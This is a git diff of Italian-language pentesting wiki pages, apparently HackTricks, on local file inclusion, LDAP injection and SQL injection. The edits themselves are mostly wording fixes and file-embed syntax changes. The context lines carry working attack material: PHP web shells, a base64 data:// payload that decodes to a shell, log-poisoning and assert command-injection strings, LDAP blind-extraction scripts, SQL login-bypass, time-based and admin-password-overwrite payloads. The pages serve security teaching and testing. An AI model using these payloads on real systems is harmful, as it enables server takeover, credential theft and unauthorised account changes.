Gli esempi forniti dimostrano come utilizzare il troncamento del percorso per accedere a `/etc/passwd`, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente):
|
||||
@ -153,7 +153,7 @@ Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando*
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa termina con essa e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP sarà incluso (e quindi, eseguito).
|
||||
> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che finisse con `.txt`, quindi la stringa termina con essa e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP sarà incluso (e quindi, eseguito).
|
||||
|
||||
Un altro esempio **che non utilizza il protocollo `php://`** sarebbe:
|
||||
```
|
||||
@ -213,7 +213,7 @@ Ecco un elenco dei 25 parametri principali che potrebbero essere vulnerabili a v
|
||||
|
||||
### php://filter
|
||||
|
||||
I filtri PHP consentono di eseguire **operazioni di modifica di base sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
|
||||
I filtri PHP consentono di eseguire **operazioni di modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
@ -226,13 +226,13 @@ I filtri PHP consentono di eseguire **operazioni di modifica di base sui dati**
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate, esegui nel terminale: `iconv -l`
|
||||
- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui nel terminale: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per rendere una funzione come include in grado di elaborare testo arbitrario. Per ulteriori informazioni, controlla [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per far sì che una funzione come include elabori testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltrano molte informazioni)
|
||||
- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltra una grande quantità di informazioni)
|
||||
- `zlib.inflate`: Decomprime i dati
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Obsoleto
|
||||
@ -285,7 +285,7 @@ Nel post originale puoi trovare una spiegazione dettagliata della tecnica, ma ec
|
||||
- Utilizzando altre trasformazioni come **rot13** all'inizio è possibile esfiltrare altri caratteri come n, o, p, q, r (e altri codec possono essere utilizzati per spostare altre lettere nell'intervallo esadecimale).
|
||||
- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e esfiltrare le prime 2 lettere per esfiltrare il numero.
|
||||
- Il problema finale è vedere **come esfiltrare più della lettera iniziale**. Utilizzando filtri di memoria ordinata come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere in prima posizione altre lettere del testo.
|
||||
- E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **pivotare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continua a farlo fino a raggiungere il bit desiderato da esfiltrare.
|
||||
- E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **pivotare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare a farlo fino a raggiungere il bit desiderato da esfiltrare.
|
||||
|
||||
Nel post è stata anche esfiltrata una tool per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
@ -301,7 +301,7 @@ Puoi anche usare **php://stdin, php://stdout e php://stderr** per accedere ai **
|
||||
### zip:// e rar://
|
||||
|
||||
Carica un file Zip o Rar con un PHPShell all'interno e accedilo.\
|
||||
Per poter abusare del protocollo rar, **deve essere specificamente attivato**.
|
||||
Per poter abusare del protocollo rar, **deve essere attivato specificamente**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -371,14 +371,14 @@ phar-deserialization.md
|
||||
### CVE-2024-2961
|
||||
|
||||
È stato possibile abusare di **qualsiasi file arbitrario letto da PHP che supporta i filtri php** per ottenere un RCE. La descrizione dettagliata può essere [**trovata in questo post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Riassunto molto veloce: un **overflow di 3 byte** nell'heap di PHP è stato abusato per **modificare la catena di chunk liberi** di una dimensione specifica al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
|
||||
Riepilogo molto rapido: un **overflow di 3 byte** nell'heap di PHP è stato abusato per **modificare la catena di chunk liberi** di una dimensione specifica al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
|
||||
È stato possibile allocare chunk di dimensioni specifiche abusando di più filtri php.
|
||||
|
||||
### More protocols
|
||||
### Altri protocolli
|
||||
|
||||
Controlla più possibili [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Controlla altri possibili [**protocolli da includere qui**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrivi in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di inclusione di file)
|
||||
- [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrivere in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di inclusione di file)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s)
|
||||
@ -387,7 +387,7 @@ Controlla più possibili [**protocols to include here**](https://www.php.net/man
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (non utile per leggere file arbitrari)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
## LFI tramite 'assert' di PHP
|
||||
|
||||
I rischi di Local File Inclusion (LFI) in PHP sono notevolmente elevati quando si tratta della funzione 'assert', che può eseguire codice all'interno delle stringhe. Questo è particolarmente problematico se l'input contenente caratteri di traversamento delle directory come ".." viene controllato ma non correttamente sanificato.
|
||||
|
||||
@ -403,7 +403,7 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
È importante **URL-encode questi payload**.
|
||||
È importante **URL-encoded questi payload**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
@ -428,7 +428,7 @@ Spiegato precedentemente, [**segui questo link**](#remote-file-inclusion).
|
||||
|
||||
### Via file di log Apache/Nginx
|
||||
|
||||
Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostando all'interno del **user agent** o all'interno di un **parametro GET** una shell PHP come **`<?php system($_GET['c']); ?>`** e includere quel file
|
||||
Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostando all'interno del **user agent** o all'interno di un **parametro GET** una shell php come **`<?php system($_GET['c']); ?>`** e includere quel file
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che **se usi virgolette doppie** per la shell invece di **virgolette semplici**, le virgolette doppie verranno modificate per la stringa "_**quote;**_", **PHP genererà un errore** lì e **nient'altro verrà eseguito**.
|
||||
@ -452,7 +452,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### Via Email
|
||||
|
||||
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere nella mail dell'utente un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere nella mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
@ -468,13 +468,13 @@ User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
|
||||
Se puoi caricare un file, inietta semplicemente il payload della shell in esso (ad es: `<?php system($_GET['c']); ?>`).
|
||||
Se puoi caricare un file, inietta semplicemente il payload della shell in esso (ad esempio: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Per mantenere il file leggibile, è meglio iniettare nei metadati delle immagini/doc/pdf
|
||||
|
||||
### Via caricamento di file Zip
|
||||
### Via upload di file Zip
|
||||
|
||||
Carica un file ZIP contenente una shell PHP compressa e accedi:
|
||||
```python
|
||||
@ -487,7 +487,7 @@ Controlla se il sito web utilizza PHP Session (PHPSESSID)
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
In PHP, queste sessioni sono memorizzate nei file _/var/lib/php5/sess\\_\[PHPSESSID]\_.
|
||||
In PHP, queste sessioni sono memorizzate in _/var/lib/php5/sess\\_\[PHPSESSID]\_ file.
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
@ -521,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Questo [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters per generare contenuti arbitrari** come output. Questo significa fondamentalmente che puoi **generare codice php arbitrario** per l'inclusione **senza doverlo scrivere** in un file.
|
||||
Questo [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters per generare contenuti arbitrari** come output. Il che significa fondamentalmente che puoi **generare codice php arbitrario** per l'inclusione **senza doverlo scrivere** in un file.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -592,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
Se puoi abusare dell'LFI per **caricare file temporanei** e far **bloccarsi** l'esecuzione di PHP, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
|
||||
Se puoi abusare dell'LFI per **caricare file temporanei** e far **bloccarsi** l'esecuzione PHP del server, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
@ -603,7 +603,7 @@ lfi2rce-via-eternal-waiting.md
|
||||
Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso due volte per generare quell'errore).
|
||||
|
||||
**Non so quanto sia utile, ma potrebbe esserlo.**\
|
||||
&#xNAN;_E anche se causate un errore fatale di PHP, i file temporanei caricati vengono eliminati._
|
||||
&#xNAN;_E anche se causate un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -612,6 +612,8 @@ Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
{{#endfile}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,9 +10,11 @@ Devi correggere lo sfruttamento (cambiare **=>** in **=>**). Per farlo puoi fare
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
Devi cambiare anche il **payload** all'inizio dell'exploit (per un php-rev-shell ad esempio), il **REQ1** (questo dovrebbe puntare alla pagina phpinfo e dovrebbe avere il padding incluso, cioè: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), e **LFIREQ** (questo dovrebbe puntare alla vulnerabilità LFI, cioè: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Controlla il doppio "%" quando sfrutti il carattere nullo)
|
||||
Devi anche cambiare il **payload** all'inizio dell'exploit (per un php-rev-shell ad esempio), il **REQ1** (questo dovrebbe puntare alla pagina phpinfo e dovrebbe avere il padding incluso, cioè: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), e **LFIREQ** (questo dovrebbe puntare alla vulnerabilità LFI, cioè: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Controlla il doppio "%" quando sfrutti il carattere nullo)
|
||||
|
||||
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
{{#file}}
|
||||
LFI-With-PHPInfo-Assistance.pdf
|
||||
{{#endfile}}
|
||||
|
||||
### Teoria
|
||||
|
||||
|
||||
@ -14,9 +14,11 @@
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP a partire dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, portando potenzialmente ad accessi non autorizzati o manipolazione dei dati.
|
||||
**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP a partire dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, potenzialmente portando ad accessi non autorizzati o manipolazione dei dati.
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
{{#file}}
|
||||
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
{{#endfile}}
|
||||
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = and / or / not / item\
|
||||
@ -133,7 +135,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
||||
```
|
||||
#### Dump data
|
||||
|
||||
Puoi iterare sulle lettere ascii, cifre e simboli:
|
||||
Puoi iterare sulle lettere ascii, i numeri e i simboli:
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
@ -180,7 +182,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
||||
finish = True
|
||||
print()
|
||||
```
|
||||
#### **Iniezione LDAP Cieca Speciale (senza "\*")**
|
||||
#### **Special Blind LDAP Injection (senza "\*")**
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Cos'è l'iniezione SQL?
|
||||
|
||||
Un **SQL injection** è una vulnerabilità di sicurezza che consente agli attaccanti di **interferire con le query del database** di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di **visualizzare**, **modificare** o **eliminare** dati a cui non dovrebbero avere accesso, inclusi informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono comportare modifiche permanenti alla funzionalità o al contenuto dell'applicazione o addirittura compromissione del server o denial of service.
|
||||
Un **SQL injection** è una vulnerabilità di sicurezza che consente agli attaccanti di **interferire con le query del database** di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di **visualizzare**, **modificare** o **eliminare** dati a cui non dovrebbero avere accesso, inclusi informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono comportare modifiche permanenti alla funzionalità o al contenuto dell'applicazione o addirittura compromettere il server o causare un'interruzione del servizio.
|
||||
|
||||
## Rilevamento dei punti di ingresso
|
||||
|
||||
Quando un sito appare **vulnerabile all'iniezione SQL (SQLi)** a causa di risposte del server insolite a input correlati a SQLi, il **primo passo** è capire come **iniettare dati nella query senza interromperla**. Questo richiede di identificare il metodo per **uscire dal contesto attuale** in modo efficace. Questi sono alcuni esempi utili:
|
||||
Quando un sito appare **vulnerabile all'iniezione SQL (SQLi)** a causa di risposte insolite del server a input correlati all'SQLi, il **primo passo** è comprendere come **iniettare dati nella query senza interromperla**. Questo richiede di identificare il metodo per **uscire dal contesto attuale** in modo efficace. Questi sono alcuni esempi utili:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -66,11 +66,13 @@ page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Questa lista di parole è stata creata per cercare di **confermare SQLinjections** nel modo proposto:
|
||||
|
||||
{% file src="../../images/sqli-logic.txt" %}
|
||||
{{#file}}
|
||||
sqli-logic.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Confermare con il Timing
|
||||
|
||||
In alcuni casi **non noterai alcuna modifica** nella pagina che stai testando. Pertanto, un buon modo per **scoprire blind SQL injections** è far eseguire azioni al DB che avranno un **impatto sul tempo** necessario per caricare la pagina.\
|
||||
In alcuni casi **non noterai alcuna modifica** nella pagina che stai testando. Pertanto, un buon modo per **scoprire SQL injection cieche** è far eseguire azioni al DB che avranno un **impatto sul tempo** necessario per caricare la pagina.\
|
||||
Pertanto, andremo a concatenare nella query SQL un'operazione che richiederà molto tempo per completarsi:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
@ -93,11 +95,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
In alcuni casi, le **funzioni sleep non saranno consentite**. Quindi, invece di utilizzare quelle funzioni, potresti far sì che la query **esegua operazioni complesse** che richiederanno diversi secondi. _Esempi di queste tecniche saranno commentati separatamente su ciascuna tecnologia (se presenti)_.
|
||||
In alcuni casi, le **funzioni di sleep non saranno consentite**. Quindi, invece di utilizzare quelle funzioni, potresti far sì che la query **esegua operazioni complesse** che richiederanno diversi secondi. _Esempi di queste tecniche saranno commentati separatamente su ciascuna tecnologia (se presenti)_.
|
||||
|
||||
### Identificazione del Back-end
|
||||
|
||||
Il modo migliore per identificare il back-end è provare a eseguire funzioni dei diversi back-end. Potresti utilizzare le _**funzioni sleep**_ della sezione precedente o queste (tabella da [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
Il modo migliore per identificare il back-end è provare a eseguire funzioni dei diversi back-end. Potresti utilizzare le _**funzioni di sleep**_ della sezione precedente o queste (tabella da [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -125,10 +127,10 @@ Il modo migliore per identificare il back-end è provare a eseguire funzioni dei
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Inoltre, se hai accesso all'output della query, potresti farlo **stampare la versione del database**.
|
||||
Anche se hai accesso all'output della query, potresti farlo **stampare la versione del database**.
|
||||
|
||||
> [!NOTE]
|
||||
> In una continuazione discuteremo diversi metodi per sfruttare diversi tipi di SQL Injection. Useremo MySQL come esempio.
|
||||
> In seguito discuteremo diversi metodi per sfruttare diversi tipi di SQL Injection. Useremo MySQL come esempio.
|
||||
|
||||
### Identificazione con PortSwigger
|
||||
|
||||
@ -146,7 +148,7 @@ Due metodi sono tipicamente utilizzati per questo scopo:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Per determinare il numero di colonne in una query, regola progressivamente il numero utilizzato nelle clausole **ORDER BY** o **GROUP BY** fino a ricevere una risposta falsa. Nonostante le funzionalità distinte di **GROUP BY** e **ORDER BY** all'interno di SQL, entrambi possono essere utilizzati in modo identico per determinare il conteggio delle colonne della query.
|
||||
Per determinare il numero di colonne in una query, regola progressivamente il numero utilizzato nelle clausole **ORDER BY** o **GROUP BY** fino a ricevere una risposta falsa. Nonostante le funzionalità distinte di **GROUP BY** e **ORDER BY** all'interno di SQL, entrambi possono essere utilizzati in modo identico per accertare il conteggio delle colonne della query.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -204,9 +206,9 @@ Seguendo un flusso simile a quello dell'exploitation basata su Union, potresti r
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Sfruttare il Blind SQLi
|
||||
## Sfruttare Blind SQLi
|
||||
|
||||
In questo caso non puoi vedere i risultati della query o gli errori, ma puoi **distinguere** quando la query **restituisce** una risposta **vera** o **falsa** perché ci sono contenuti diversi sulla pagina.\
|
||||
In questo caso non puoi vedere i risultati della query o gli errori, ma puoi **distinguere** quando la query **restituisce** una risposta **vera** o **falsa** perché ci sono contenuti diversi nella pagina.\
|
||||
In questo caso, puoi abusare di quel comportamento per estrarre il database carattere per carattere:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
@ -219,7 +221,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Sfruttare SQLi Basato sul Tempo
|
||||
|
||||
In questo caso non **c'è** modo di **distinguere** la **risposta** della query in base al contesto della pagina. Ma, puoi far sì che la pagina **richieda più tempo per caricarsi** se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso prima per [confermare una vulnerabilità SQLi](#confirming-with-timing).
|
||||
In questo caso non **c'è** modo di **distinguere** la **risposta** della query in base al contesto della pagina. Ma, puoi far sì che la pagina **impieghi più tempo a caricarsi** se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso prima per [confermare una vulnerabilità SQLi](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
@ -267,7 +269,7 @@ Elenco da provare per bypassare la funzionalità di login:
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Questa query mostra una vulnerabilità quando MD5 viene utilizzato con true per l'output raw nei controlli di autenticazione, rendendo il sistema suscettibile a SQL injection. Gli attaccanti possono sfruttare questo creando input che, quando hashati, producono parti di comandi SQL inaspettate, portando ad accessi non autorizzati.
|
||||
Questa query mette in evidenza una vulnerabilità quando MD5 viene utilizzato con true per l'output raw nei controlli di autenticazione, rendendo il sistema suscettibile a SQL injection. Gli attaccanti possono sfruttare questo creando input che, quando hashati, producono parti di comandi SQL inaspettate, portando ad accessi non autorizzati.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -281,7 +283,9 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
Dovresti usare come nome utente ogni riga dell'elenco e come password sempre: _**Pass1234.**_\
|
||||
&#xNAN;_(Questi payload sono anche inclusi nel grande elenco menzionato all'inizio di questa sezione)_
|
||||
|
||||
{% file src="../../images/sqli-hashbypass.txt" %}
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Bypass dell'autenticazione GBK
|
||||
|
||||
@ -291,7 +295,7 @@ SE ' viene scappato puoi usare %A8%27, e quando ' viene scappato verrà creato:
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
%bf' or 1=1 -- --
|
||||
```
|
||||
Script Python:
|
||||
Python script:
|
||||
```python
|
||||
import requests
|
||||
url = "http://example.com/index.php"
|
||||
@ -318,7 +322,7 @@ Per farlo, dovresti provare a **creare un nuovo oggetto chiamato come il "master
|
||||
|
||||
Se il database è vulnerabile e il numero massimo di caratteri per il nome utente è ad esempio 30 e vuoi impersonare l'utente **admin**, prova a creare un nome utente chiamato: "_admin \[30 spazi] a_" e qualsiasi password.
|
||||
|
||||
Il database **verificherà** se il **nome utente** introdotto **esiste** all'interno del database. Se **non** esiste, **taglierà** il **nome utente** al **numero massimo di caratteri consentito** (in questo caso a: "_admin \[25 spazi]_") e poi **rimuoverà automaticamente tutti gli spazi alla fine aggiornando** all'interno del database l'utente "**admin**" con la **nuova password** (potrebbe apparire qualche errore, ma non significa che non abbia funzionato).
|
||||
Il database **verificherà** se il **nome utente** introdotto **esiste** all'interno del database. Se **non** esiste, **taglierà** il **nome utente** al **numero massimo di caratteri consentito** (in questo caso a: "_admin \[25 spazi]_") e poi **rimuoverà automaticamente tutti gli spazi alla fine aggiornando** all'interno del database l'utente "**admin**" con la **nuova password** (potrebbero apparire alcuni errori, ma non significa che non abbia funzionato).
|
||||
|
||||
Ulteriori informazioni: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
@ -326,13 +330,13 @@ _Note: Questo attacco non funzionerà più come descritto sopra nelle ultime ins
|
||||
|
||||
### Controllo basato sul tempo di inserimento MySQL
|
||||
|
||||
Aggiungi quanti più `','',''` ritieni necessari per uscire dalla dichiarazione VALUES. Se viene eseguito un ritardo, hai una SQLInjection.
|
||||
Aggiungi quanti più `','',''` ritieni necessario per uscire dalla dichiarazione VALUES. Se viene eseguito un ritardo, hai una SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
La clausola `ON DUPLICATE KEY UPDATE` in MySQL è utilizzata per specificare le azioni che il database deve intraprendere quando si tenta di inserire una riga che risulterebbe in un valore duplicato in un indice UNIQUE o in una PRIMARY KEY. Il seguente esempio dimostra come questa funzionalità possa essere sfruttata per modificare la password di un account amministratore:
|
||||
La clausola `ON DUPLICATE KEY UPDATE` in MySQL è utilizzata per specificare le azioni che il database deve intraprendere quando si tenta di inserire una riga che comporterebbe un valore duplicato in un indice UNIQUE o in una PRIMARY KEY. Il seguente esempio dimostra come questa funzionalità possa essere sfruttata per modificare la password di un account amministratore:
|
||||
|
||||
Esempio di Payload di Iniezione:
|
||||
|
||||
@ -344,11 +348,11 @@ Ecco come funziona:
|
||||
|
||||
- La query tenta di inserire due righe: una per `generic_user@example.com` e un'altra per `admin_generic@example.com`.
|
||||
